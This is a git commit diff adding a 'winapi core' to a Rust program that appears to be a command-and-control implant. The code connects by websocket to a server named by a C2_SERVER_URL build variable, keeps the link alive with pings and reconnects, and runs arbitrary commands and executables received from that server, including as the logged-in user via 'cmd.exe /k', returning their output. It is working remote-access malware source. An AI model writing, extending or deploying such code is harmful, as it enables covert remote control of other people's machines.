wip: winapi core

This commit is contained in:
Xory 2025-12-01 20:44:11 +02:00
parent 7304b33b7c
commit a521782a37
6 changed files with 638 additions and 73 deletions

View file

@ -1,16 +1,21 @@
use futures_util::StreamExt;
use futures_util::{SinkExt, StreamExt};
use futures_util::stream::SplitSink;
use serde::{Deserialize, Serialize};
use tokio_tungstenite::tungstenite::Bytes;
use std::sync::Arc;
use tokio::{net::TcpStream, sync::Mutex};
use tokio_tungstenite::tungstenite::protocol::Message;
use tokio_tungstenite::{MaybeTlsStream, WebSocketStream, connect_async};
pub const WS_URL: &str = "ws://127.0.0.1:8080";
use crate::lib::logger::{log, LogLevel};
use crate::lib::winapi::run_as_user;
pub const WS_URL: &str = env!("C2_SERVER_URL");
pub const LOG_PATH: &str = "test.txt";
pub mod lib {
pub mod logger;
pub mod winapi;
}
pub type WsTx = Arc<Mutex<Option<SplitSink<WebSocketStream<MaybeTlsStream<TcpStream>>, Message>>>>;
@ -33,9 +38,8 @@ pub struct DnxParams<'a> {
#[derive(Deserialize, Serialize)]
pub enum Command<'a> {
RunCMD { command: &'a str },
RunCMD { command: &'a str, args: Vec<&'a str> },
URunCMD { command: &'a str },
RunExe { path: &'a str, args: &'a str },
URunExe { path: &'a str, args: &'a str },
ClientInfo,
Dnx { params: DnxParams<'a> },
@ -51,8 +55,54 @@ pub async fn reconnect_websocket(ws: WsTx) {
*lock = Some(ws_trx);
break;
}
println!("reconnect slp");
std::thread::sleep(std::time::Duration::from_secs(5));
println!("reconnect out");
}
}
pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
tokio::time::sleep(std::time::Duration::from_secs(10)).await;
let message = Message::Ping(Bytes::from("ping"));
{
let mut unlocked_ws_tx = ws_tx.lock().await;
if let Some(h) = unlocked_ws_tx.as_mut() {
log(LogLevel::Debug, LOG_PATH, "[ws] sending ping".to_string()).await;
h.send(message).await?;
return Ok(());
} else {
use tokio::io::{Error, ErrorKind};
return Err(Error::new(ErrorKind::BrokenPipe, "Sender is none").into())
}
}
}
pub fn eval_command(text: &str) -> anyhow::Result<String> {
let parsed: Command = serde_json::from_str(text)?;
match parsed {
Command::RunCMD {command, args} => {
let proc = std::process::Command::new(command)
.args(args)
.output()?;
return Ok(String::from_utf8_lossy(&proc.stdout).to_string());
},
Command::URunCMD { command } => {
let formatted_param = format!("cmd.exe /k {command}");
let _result = run_as_user(r"C:\Windows\System32\cmd.exe", &formatted_param)?;
// we temporarily mark these with _ since run_as_user might return later in dev
return Ok(format!(""))
},
Command::URunExe { path, args } => {
if let Some(executable_name) = path.split(r"\").last() {
let formatted_param = format!("{executable_name} {args}");
let _result = run_as_user(path, &formatted_param)?;
return Ok(format!(""))
} else {
use tokio::io::{Error, ErrorKind};
return Err(Error::new(ErrorKind::NotFound, "Invalid path").into())
}
}
_ => todo!()
}
}